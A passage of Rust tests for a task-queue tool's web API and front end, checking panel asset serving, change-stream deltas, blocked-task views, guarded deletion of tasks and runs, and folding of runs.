20232        // A document served at `.../panel` resolves `shot.png` against its own
20233        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20234        // panel written exactly as instructed showed broken images. Caught by
20235        // looking at a real one in a browser, not by reading the code.
20236        let fx = Fixture::start().await;
20237        let id = panel(
20238            &fx,
20239            "<img src=\"shot.png\">",
20240            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20241        );
20242
20243        // The frame's own URL ends in a filename, so its siblings are reachable.
20244        let doc = fx
20245            .get(&format!("/api/questions/{id}/panel/index.html"))
20246            .await;
20247        assert_eq!(doc.status, 200, "{}", doc.body);
20248        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20249
20250        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20251        assert_eq!(sibling.status, 200, "{}", sibling.body);
20252        assert_eq!(sibling.header("content-type"), Some("image/png"));
20253        assert_eq!(
20254            sibling.header("content-security-policy"),
20255            Some(PANEL_CSP),
20256            "the sibling route must carry the same policy as the asset route"
20257        );
20258
20259        // The original spelling keeps working: HEAD on it is how the front end
20260        // decides whether to mount a frame at all.
20261        assert_eq!(
20262            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20263            200
20264        );
20265    }
20266
20267    #[test]
20268    fn delta_stamps_cover_add_update_remove_and_noop() {
20269        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20270        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20271        let delta = diff_stamps(&before, &after, 42);
20272        assert_eq!(delta.base, 42);
20273        assert_eq!(delta.changed, ["b", "c"]);
20274        assert_eq!(delta.removed, ["a"]);
20275        let same = diff_stamps(&after, &after, 43);
20276        assert!(same.changed.is_empty() && same.removed.is_empty());
20277        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20278        let nanos: Stamps = [("b".into(), (2, 20))].into();
20279        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20280        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20281        assert_eq!(stamps_revision(&Stamps::new()), 0);
20282    }
20283
20284    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20285        std::fs::create_dir_all(home.join("runs")).unwrap();
20286        Arc::new(Ui::new(
20287            Queue::at(home.join("queue")),
20288            Questions::at(home.join("questions")),
20289            Talks::at(home.join("talks")),
20290            home.join("runs"),
20291            home.to_owned(),
20292            PathBuf::from("/repo/magi"),
20293        ))
20294    }
20295
20296    #[test]
20297    fn monitor_scan_isolates_store_failures_and_recovers() {
20298        let home = TempDir::new().unwrap();
20299        let ui = delta_test_ui(home.path());
20300        std::fs::create_dir_all(ui.questions.root()).unwrap();
20301        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20302        let before = monitor_scan(&ui, None);
20303        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20304        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20305        std::fs::create_dir_all(ui.talks.root()).unwrap();
20306        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20307        let during = monitor_scan(&ui, Some(before.clone()));
20308        assert_eq!(during.0.2, before.0.2);
20309        assert_ne!(during.0.3, before.0.3);
20310        assert!(during.1[2].contains_key("new"));
20311        std::fs::remove_file(ui.questions.root()).unwrap();
20312        let after = monitor_scan(&ui, Some(during));
20313        assert_eq!(after.0.2, 0);
20314        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20315        // A failed first scan also permits healthy stores to publish.
20316        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20317        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20318    }
20319
20320    #[tokio::test]
20321    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20322        let home = TempDir::new().unwrap();
20323        let ui = delta_test_ui(home.path());
20324        let mut task = Task::new(
20325            "stream task".into(),
20326            "text".into(),
20327            PathBuf::from("/repo"),
20328            Source::Human,
20329        );
20330        ui.queue.put(&mut task).unwrap();
20331        let response = events(State(ui.clone())).await.into_response();
20332        let mut stream = response.into_body().into_data_stream();
20333        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20334            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20335                .await
20336                .unwrap()
20337                .unwrap()
20338                .unwrap();
20339            let text = String::from_utf8(chunk.to_vec()).unwrap();
20340            let data = text
20341                .lines()
20342                .find_map(|line| {
20343                    line.strip_prefix("data: ")
20344                        .or_else(|| line.strip_prefix("data:"))
20345                })
20346                .unwrap();
20347            serde_json::from_str(data).unwrap()
20348        }
20349        let initial = change(&mut stream).await;
20350        assert!(initial.get("queue_delta").is_none());
20351        task.instruction.push_str(" changed");
20352        ui.queue.put(&mut task).unwrap();
20353        let updated = change(&mut stream).await;
20354        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20355        assert_eq!(
20356            updated["queue_delta"]["changed"],
20357            serde_json::json!([task.id])
20358        );
20359        assert_eq!(
20360            updated["queue_rev"].as_u64(),
20361            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20362        );
20363        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20364        let removed = change(&mut stream).await;
20365        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20366        assert_eq!(
20367            removed["queue_delta"]["removed"],
20368            serde_json::json!([task.id])
20369        );
20370    }
20371
20372    #[tokio::test]
20373    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20374        let home = TempDir::new().unwrap();
20375        let ui = delta_test_ui(home.path());
20376        let queue = ui.queue.clone();
20377        let query = |ids: Option<&str>| {
20378            Query(ListQuery {
20379                limit: Some(2),
20380                ids: ids.map(str::to_owned),
20381            })
20382        };
20383        let mut root = Task::new(
20384            "root".into(),
20385            "instruction".into(),
20386            PathBuf::from("/repo"),
20387            Source::Human,
20388        );
20389        queue.put(&mut root).unwrap();
20390        let mut blocked = Task::new(
20391            "blocked".into(),
20392            "instruction".into(),
20393            PathBuf::from("/repo"),
20394            Source::Human,
20395        );
20396        blocked.block(vec![root.id.clone()], None);
20397        queue.put(&mut blocked).unwrap();
20398        let whole =
20399            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20400                .unwrap();
20401        let subset = serde_json::to_value(
20402            queue_list(State(ui.clone()), query(Some(&root.id)))
20403                .await
20404                .unwrap()
20405                .0,
20406        )
20407        .unwrap();
20408        assert_eq!(whole, subset, "requested root plus its blocked dependent");
20409        let blockers = serde_json::to_value(
20410            queue_list(State(ui.clone()), query(Some("")))
20411                .await
20412                .unwrap()
20413                .0,
20414        )
20415        .unwrap();
20416        assert_eq!(blockers.as_array().unwrap().len(), 1);
20417        assert_eq!(blockers[0]["id"], blocked.id);
20418        assert_eq!(
20419            blockers[0]["waits_on"],
20420            whole
20421                .as_array()
20422                .unwrap()
20423                .iter()
20424                .find(|row| row["id"] == blocked.id)
20425                .unwrap()["waits_on"]
20426        );
20427
20428        for id in [
20429            "20260902-140501-aaaa",
20430            "20260902-140502-bbbb",
20431            "20260902-140503-cccc",
20432        ] {
20433            write_run(&ui.runs, id, RunStatus::Merged);
20434        }
20435        let old = serde_json::to_value(
20436            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20437                .await
20438                .unwrap()
20439                .0,
20440        )
20441        .unwrap();
20442        assert!(
20443            old.as_array().unwrap().is_empty(),
20444            "older updates must not enter the window"
20445        );
20446        let newest = serde_json::to_value(
20447            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20448                .await
20449                .unwrap()
20450                .0,
20451        )
20452        .unwrap();
20453        assert_eq!(newest.as_array().unwrap().len(), 1);
20454        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20455
20456        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20457        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20458        let talks = serde_json::to_value(
20459            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20460                .await
20461                .unwrap()
20462                .0,
20463        )
20464        .unwrap();
20465        assert_eq!(talks.as_array().unwrap().len(), 1);
20466        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20467        assert_eq!(
20468            serde_json::to_value(
20469                talks_list(State(ui.clone()), query(Some("")))
20470                    .await
20471                    .unwrap()
20472                    .0
20473            )
20474            .unwrap(),
20475            serde_json::json!([])
20476        );
20477    }
20478
20479    #[tokio::test]
20480    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20481    async fn delta_payload_benchmark() {
20482        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20483        let ui = delta_test_ui(&home);
20484        let query = |ids: Option<String>| {
20485            Query(ListQuery {
20486                limit: Some(50),
20487                ids,
20488            })
20489        };
20490        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20491        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20492        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20493        let queue_id = queue
20494            .iter()
20495            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20496            .unwrap_or(&queue[0])
20497            .task
20498            .id
20499            .clone();
20500        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20501            .await
20502            .unwrap()
20503            .0;
20504        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20505            .await
20506            .unwrap()
20507            .0;
20508        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20509            .await
20510            .unwrap()
20511            .0;
20512        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20513        eprintln!(
20514            "DELTA_PAYLOAD {}",
20515            serde_json::json!({
20516                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20517                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20518                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20519                "counts": [queue.len(), runs.len(), talks.len()],
20520                "blocked": queue_delta.len() - 1,
20521            })
20522        );
20523    }
20524
20525    #[test]
20526    fn runs_revision_moves_when_deleting_an_older_run() {
20527        let temp = TempDir::new().expect("tempdir");
20528        let runs = temp.path().join("runs");
20529        std::fs::create_dir_all(&runs).expect("create runs dir");
20530
20531        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20532
20533        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20534        std::thread::sleep(Duration::from_millis(10));
20535        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20536
20537        let rev_before = runs_revision(&runs);
20538        assert!(rev_before > 0);
20539
20540        let old_dir = runs.join("20260901-100000-old1");
20541        std::fs::remove_dir_all(&old_dir).expect("remove old run");
20542
20543        let rev_after = runs_revision(&runs);
20544        assert_ne!(
20545            rev_before, rev_after,
20546            "deleting an older run must change the revision so other clients see the deletion"
20547        );
20548    }
20549
20550    /// A run's own `run.json` on an explicit `runs` root, bypassing the
20551    /// process-global home entirely — `RunState::save` writes through
20552    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
20553    /// (see `tests::home_lock` in the integration suite for why).
20554    fn write_state(runs: &FsPath, state: &RunState) {
20555        let dir = runs.join(&state.id);
20556        std::fs::create_dir_all(&dir).expect("run dir");
20557        std::fs::write(
20558            dir.join("run.json"),
20559            serde_json::to_string_pretty(state).expect("serialize run"),
20560        )
20561        .expect("write run.json");
20562    }
20563
20564    /// A seat starting or finishing is a write to `run.json` like any other,
20565    /// so it moves the same revision the change stream already watches —
20566    /// nothing new for `/api/events` to learn, but the property this feature
20567    /// depends on to reach the phone without a poll.
20568    #[test]
20569    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20570        let temp = TempDir::new().expect("tempdir");
20571        let runs = temp.path().join("runs");
20572        std::fs::create_dir_all(&runs).expect("create runs dir");
20573        let mut state = RunState::new(
20574            PathBuf::from("/repo/magi"),
20575            "main".to_owned(),
20576            "0123456789abcdef".to_owned(),
20577            "task".to_owned(),
20578            Config::default(),
20579        );
20580        state.id = "20260902-100000-c0de".to_owned();
20581        write_state(&runs, &state);
20582
20583        let rev_idle = runs_revision(&runs);
20584        std::thread::sleep(Duration::from_millis(10));
20585        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20586        write_state(&runs, &state);
20587        let rev_started = runs_revision(&runs);
20588        assert_ne!(
20589            rev_idle, rev_started,
20590            "a seat starting must move the revision"
20591        );
20592
20593        std::thread::sleep(Duration::from_millis(10));
20594        state.seat_finished("judge-1");
20595        write_state(&runs, &state);
20596        let rev_finished = runs_revision(&runs);
20597        assert_ne!(
20598            rev_started, rev_finished,
20599            "and clearing it again must move the revision a second time"
20600        );
20601    }
20602
20603    #[tokio::test]
20604    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20605        // `TaskView` flattens `Task`, so this is really asserting that
20606        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
20607        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
20608        // never touched web.rs, so nothing here caught it if it had.
20609        let fx = Fixture::start().await;
20610        let q = fx.queue();
20611
20612        let mut t = Task::new(
20613            "Task".to_owned(),
20614            "Instruction".to_owned(),
20615            PathBuf::from("/repo"),
20616            Source::Human,
20617        );
20618        t.block(
20619            vec!["20260101-000000-dead".to_owned()],
20620            Some("waiting on Task 1".to_owned()),
20621        );
20622        t.answers.push(crate::queue::AnsweredQuestion {
20623            question: "Which backend?".to_owned(),
20624            answer: "SQLite".to_owned(),
20625        });
20626        q.put(&mut t).expect("put t");
20627
20628        let res = fx.get("/api/queue").await;
20629        assert_eq!(res.status, 200);
20630        let list = res.json();
20631        let view = list
20632            .as_array()
20633            .expect("array")
20634            .iter()
20635            .find(|v| v["id"] == t.id)
20636            .expect("task in list");
20637        assert_eq!(view["status_str"], "blocked");
20638        assert_eq!(
20639            view["blocked_by"],
20640            serde_json::json!(["20260101-000000-dead"])
20641        );
20642        assert_eq!(view["block_reason"], "waiting on Task 1");
20643        assert_eq!(view["answers"][0]["question"], "Which backend?");
20644        assert_eq!(view["answers"][0]["answer"], "SQLite");
20645
20646        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
20647        // but never `answers` - that is a settled decision, not state
20648        // describing the current block, so it survives.
20649        let res = fx
20650            .post(&format!("/api/queue/{}/hold", t.short()), None)
20651            .await;
20652        assert_eq!(res.status, 200);
20653        let held = res.json();
20654        assert_eq!(held["status_str"], "held");
20655        assert_eq!(held["blocked_by"], serde_json::json!([]));
20656        assert!(held["block_reason"].is_null());
20657        assert_eq!(held["answers"][0]["answer"], "SQLite");
20658    }
20659
20660    #[tokio::test]
20661    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20662        let fx = Fixture::start().await;
20663        let q = fx.queue();
20664        let mk = |title: &str| {
20665            Task::new(
20666                title.to_owned(),
20667                "Instruction".to_owned(),
20668                PathBuf::from("/repo"),
20669                Source::Human,
20670            )
20671        };
20672        let mut root = mk("root");
20673        root.hold_manual(Some("waiting".to_owned()));
20674        q.put(&mut root).unwrap();
20675        let mut mid = mk("mid");
20676        mid.block(vec![root.id.clone()], None);
20677        q.put(&mut mid).unwrap();
20678        let mut leaf = mk("leaf");
20679        leaf.block(vec![mid.id.clone()], None);
20680        q.put(&mut leaf).unwrap();
20681
20682        let list = fx.get("/api/queue").await.json();
20683        let find = |id: &str| {
20684            list.as_array()
20685                .unwrap()
20686                .iter()
20687                .find(|v| v["id"] == id)
20688                .unwrap()
20689                .clone()
20690        };
20691        let leaf_view = find(&leaf.id);
20692        assert_eq!(
20693            leaf_view["waits_on"],
20694            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20695        );
20696        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20697        assert_eq!(
20698            find(&mid.id)["waits_on"],
20699            serde_json::json!([format!("{} (held)", root.short())])
20700        );
20701        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20702    }
20703
20704    #[tokio::test]
20705    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20706        let fx = Fixture::start().await;
20707        let q = fx.queue();
20708
20709        // 1. A queued task with runs attached can be deleted.
20710        let mut t1 = Task::new(
20711            "Task 1".to_owned(),
20712            "Instruction 1".to_owned(),
20713            PathBuf::from("/repo"),
20714            Source::Human,
20715        );
20716        let run_id = "20260901-000000-r111";
20717        t1.runs.push(run_id.to_owned());
20718        write_run(&fx.runs(), run_id, RunStatus::Merged);
20719        q.put(&mut t1).expect("put t1");
20720
20721        // Delete by short id
20722        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20723        assert_eq!(res.status, 204);
20724        assert!(res.body.is_empty(), "204 No Content has no body");
20725        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20726        assert!(
20727            fx.runs().join(run_id).exists(),
20728            "run directory must not be deleted when its task is deleted"
20729        );
20730
20731        // 2. A task a live daemon is running is refused with 409.
20732        let mut t2 = Task::new(
20733            "Task 2".to_owned(),
20734            "Instruction 2".to_owned(),
20735            PathBuf::from("/repo"),
20736            Source::Human,
20737        );
20738        t2.status = TaskStatus::Running;
20739        q.put(&mut t2).expect("put t2");
20740        let mut beat = crate::daemon::Status::new();
20741        beat.current = vec![crate::daemon::Current {
20742            task: t2.id.clone(),
20743            run: "20260901-000000-r222".to_owned(),
20744        }];
20745        beat.updated_at = jiff::Timestamp::now();
20746        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20747            .expect("publish a heartbeat");
20748        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20749        assert_eq!(res.status, 409);
20750        assert!(
20751            res.json()["error"]
20752                .as_str()
20753                .unwrap()
20754                .contains("live daemon")
20755        );
20756        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20757
20758        // 3. The same `running` status and an orphaned lock, with no daemon
20759        // behind either, is a leftover and deletable. Before this the phone
20760        // refused it for good: the status never changes on its own and
20761        // nothing drops a lock whose process is gone.
20762        // The daemon is killed: the file stays, the heartbeat stops.
20763        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20764        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20765            .expect("leave a stale heartbeat");
20766        let mut t3 = Task::new(
20767            "Task 3".to_owned(),
20768            "Instruction 3".to_owned(),
20769            PathBuf::from("/repo"),
20770            Source::Human,
20771        );
20772        t3.status = TaskStatus::Running;
20773        q.put(&mut t3).expect("put t3");
20774        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20775        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20776        assert_eq!(res.status, 204);
20777        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20778        assert!(
20779            q.claim(&t3.id).is_ok(),
20780            "the stale lock went with it, so the id is claimable again"
20781        );
20782
20783        // 4. Missing id returns 404
20784        let res = fx.delete("/api/queue/nonexistent").await;
20785        assert_eq!(res.status, 404);
20786    }
20787
20788    #[tokio::test]
20789    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20790        let fx = Fixture::start().await;
20791        let runs = fx.runs();
20792
20793        // 1. Finished and folded run can be deleted along with artifacts
20794        let run_id = "20260901-000000-fold";
20795        let mut state = RunState::new(
20796            PathBuf::from("/repo"),
20797            "main".to_owned(),
20798            "abc".to_owned(),
20799            "instruction".to_owned(),
20800            Config::default(),
20801        );
20802        state.id = run_id.to_owned();
20803        state.status = RunStatus::Merged;
20804        state.candidates.push(crate::run::Candidate {
20805            index: 0,
20806            label: 'A',
20807            agent: "a".to_owned(),
20808            branch: "b".to_owned(),
20809            worktree: PathBuf::from("/w"),
20810            summary: String::new(),
20811            stat: String::new(),
20812            files: 1,
20813            commits: 1,
20814            empty: false,
20815            failed: None,
20816            verified_noop: None,
20817            duration_ms: 0,
20818            folded: true,
20819        });
20820        let dir = runs.join(run_id);
20821        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20822        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20823            .expect("write artifact");
20824        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20825            .expect("write run.json");
20826
20827        // Delete by short id
20828        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20829        assert_eq!(res.status, 204);
20830        assert!(res.body.is_empty(), "204 has no body");
20831        assert!(!dir.exists(), "run directory and artifacts must be deleted");
20832
20833        // 2. A run a live daemon is working on is refused with 409. The
20834        // heartbeat is what makes it refusable: an unfinished run with no
20835        // daemon behind it is a leftover from a killed process, and case 1
20836        // above would otherwise be impossible to tell apart from this one.
20837        let run_running = "20260901-000000-rung";
20838        write_run(&runs, run_running, RunStatus::Prep);
20839        let mut beat = crate::daemon::Status::new();
20840        beat.current = vec![crate::daemon::Current {
20841            task: "20260901-000000-task".to_owned(),
20842            run: run_running.to_owned(),
20843        }];
20844        beat.updated_at = jiff::Timestamp::now();
20845        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20846            .expect("publish a heartbeat");
20847        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20848        assert_eq!(res.status, 409);
20849        assert!(
20850            res.json()["error"]
20851                .as_str()
20852                .unwrap()
20853                .contains("live daemon"),
20854            "the refusal must say who is holding it"
20855        );
20856        assert!(
20857            runs.join(run_running).exists(),
20858            "a run in flight keeps its directory"
20859        );
20860
20861        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
20862        let run_unfolded = "20260901-000000-unfd";
20863        let mut state2 = RunState::new(
20864            PathBuf::from("/repo"),
20865            "main".to_owned(),
20866            "abc".to_owned(),
20867            "instruction".to_owned(),
20868            Config::default(),
20869        );
20870        state2.id = run_unfolded.to_owned();
20871        state2.status = RunStatus::Ready;
20872        state2.candidates.push(crate::run::Candidate {
20873            index: 0,
20874            label: 'A',
20875            agent: "a".to_owned(),
20876            branch: "b".to_owned(),
20877            worktree: PathBuf::from("/w"),
20878            summary: String::new(),
20879            stat: String::new(),
20880            files: 1,
20881            commits: 1,
20882            empty: false,
20883            failed: None,
20884            verified_noop: None,
20885            duration_ms: 0,
20886            folded: false,
20887        });
20888        let dir2 = runs.join(run_unfolded);
20889        std::fs::create_dir_all(&dir2).expect("create dir2");
20890        std::fs::write(
20891            dir2.join("run.json"),
20892            serde_json::to_string(&state2).unwrap(),
20893        )
20894        .expect("write run.json");
20895
20896        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20897        assert_eq!(res.status, 409);
20898        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20899        assert!(dir2.exists(), "unfolded run directory is kept");
20900
20901        // 4. Missing id returns 404
20902        let res = fx.delete("/api/runs/nonexistent").await;
20903        assert_eq!(res.status, 404);
20904    }
20905
20906    /// The queue tiles on the Stats tab must render even on a home with no
20907    /// runs at all: queue state is not derived from run history, so hiding
20908    /// the whole dashboard body behind "no runs yet" would drop the one
20909    /// thing this tab promises unconditionally (queued/running/held/done).
20910    /// A DOM-level test would need a browser this suite does not have, so
20911    /// this pins the same invariant textually: `renderStatsQueue` is called
20912    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
20913    /// block that gates the run-derived panels.
20914    #[test]
20915    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20916        let start = APP_JS
20917            .find("function renderStats() {")
20918            .expect("renderStats");
20919        let end = start
20920            + APP_JS[start..]
20921                .find("function statsTile(")
20922                .expect("the next top-level function");
20923        let body = &APP_JS[start..end];
20924
20925        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20926        let gate_end = gate_start
20927            + body[gate_start..]
20928                .find("}\n  renderStatsQueue")
20929                .expect("the gate's own closing brace, right before the unconditional call");
20930        let gated = &body[gate_start..gate_end];
20931
20932        assert_eq!(
20933            body.matches("renderStatsQueue(").count(),
20934            1,
20935            "renderStats must call renderStatsQueue exactly once: {body}"
20936        );
20937        assert!(
20938            !gated.contains("renderStatsQueue"),
20939            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20940             run-derived panels on an empty run history - the queue panel has to render \
20941             regardless: {gated}"
20942        );
20943    }
20944
20945    #[test]
20946    fn web_ui_delete_contract_in_front_end() {
20947        // 1. API block has both delete endpoints
20948        assert!(APP_JS.contains("deleteRun:"));
20949        assert!(APP_JS.contains("deleteTask:"));
20950
20951        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
20952        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20953            ..APP_JS.find("function renderRuns").unwrap()];
20954        assert!(!run_cards_slice.to_lowercase().contains("delete"));
20955
20956        // 3. Run detail has delete entry and reasons
20957        assert!(APP_JS.contains("renderRunDelete"));
20958        assert!(APP_JS.contains("runDeleteReason"));
20959        assert!(APP_JS.contains("magi fold"));
20960        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20961
20962        // 4. Two-step delete arming and focus on Cancel
20963        assert!(APP_JS.contains("cancel.focus"));
20964        assert!(APP_JS.contains("armedRunDelete"));
20965        assert!(APP_JS.contains("renderTaskDeleteBox"));
20966        assert!(APP_JS.contains("armed${cap(key)}"));
20967
20968        // 5. Running task has disabled delete
20969        assert!(APP_JS.contains("disabled: status === \"running\""));
20970    }
20971
20972    /// Every element a run card's updater reaches for must be in the `refs`
20973    /// the builder handed it.
20974    ///
20975    /// `createRunCard` builds its elements, appends them to the card, and then
20976    /// lists them again in `row.refs`. That second list is the one the updater
20977    /// uses, and nothing connects the two - an element can be built, appended
20978    /// and rendered, and still be missing from `refs`. `superseded` was, for
20979    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
20980    /// exception took `syncList` with it, and the deck showed
20981    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
20982    /// line is computed before the cards, which is why the failure looked like
20983    /// a server that had lost its runs rather than a front end that had
20984    /// stopped rendering them.
20985    ///
20986    /// A `cargo test` cannot execute the front end, so this reads the two
20987    /// halves out of the source and compares them as sets. It is not a check
20988    /// on the wording of either list: adding an element, renaming one, or
20989    /// reordering them all keeps this passing, and only using one the builder
20990    /// never published fails it.
20991    #[test]
20992    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20993        let build = APP_JS
20994            .find("function createRunCard")
20995            .expect("createRunCard exists");
20996        let update = APP_JS
20997            .find("function updateRunCard")
20998            .expect("updateRunCard exists");
20999        let end = APP_JS
21000            .find("function renderRuns")
21001            .expect("renderRuns exists");
21002
21003        // The builder's published set: the object literal assigned to `refs`.
21004        let builder = &APP_JS[build..update];
21005        let open = builder.find("refs = {").expect("createRunCard sets refs");
21006        let literal = &builder[open + "refs = {".len()..];
21007        let close = literal.find('}').expect("the refs literal is closed");
21008        let published: HashSet<&str> = literal[..close]
21009            .split(',')
21010            // `name` and `name: value` both bind `name`.
21011            .filter_map(|entry| entry.split(':').next())
21012            .map(str::trim)
21013            .filter(|name| !name.is_empty())
21014            .collect();
21015        assert!(
21016            published.len() > 5,
21017            "the refs literal did not parse into names: {published:?}"
21018        );
21019
21020        // What the updaters reach for: every `r.<name>`, where `r` is the
21021        // `const r = row.refs` alias both functions open with.
21022        let mut used: Vec<&str> = Vec::new();
21023        let updaters = &APP_JS[update..end];
21024        for (at, _) in updaters.match_indices("r.") {
21025            // `r` must be the whole identifier, not the tail of another one
21026            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21027            let before = updaters[..at].chars().next_back();
21028            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21029                continue;
21030            }
21031            let rest = &updaters[at + 2..];
21032            let len = rest
21033                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21034                .unwrap_or(rest.len());
21035            if len > 0 {
21036                used.push(&rest[..len]);
21037            }
21038        }
21039        assert!(
21040            used.len() > 5,
21041            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21042        );
21043
21044        let missing: Vec<&str> = used
21045            .iter()
21046            .copied()
21047            .filter(|name| !published.contains(name))
21048            .collect();
21049        assert!(
21050            missing.is_empty(),
21051            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21052             never put in `refs` - every card will throw and the list will \
21053             render empty under a count line that says otherwise. Published: \
21054             {published:?}"
21055        );
21056    }
21057
21058    #[tokio::test]
21059    async fn folding_from_the_phone_reports_what_it_removed() {
21060        let fx = Fixture::start().await;
21061        let runs = fx.runs();
21062
21063        // A run with no candidates has nothing to fold, which is a 200 with an
21064        // honest count rather than an error: the operator asked for the trees
21065        // to be gone and they are.
21066        let id = "20260901-000000-fold";
21067        write_run(&runs, id, RunStatus::Stalled);
21068        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21069        assert_eq!(res.status, 200);
21070        assert_eq!(res.json()["removed_count"], 0);
21071        assert_eq!(res.json()["run"], id);
21072        assert!(
21073            runs.join(id).exists(),
21074            "a fold keeps the run's record; only the worktrees go"
21075        );
21076    }
21077
21078    #[tokio::test]
21079    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21080        let fx = Fixture::start().await;
21081        let runs = fx.runs();
21082        let wt = fx.home.path().join("wt").join("magi").join("dead");
21083        let id = "20260901-000000-dead";
21084        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21085        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21086        std::fs::create_dir_all(&wt).expect("worktree dir");
21087
21088        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21089        assert_eq!(res.status, 200, "{}", res.body);
21090        assert!(
21091            res.json()["removed_count"].as_u64().unwrap() > 0,
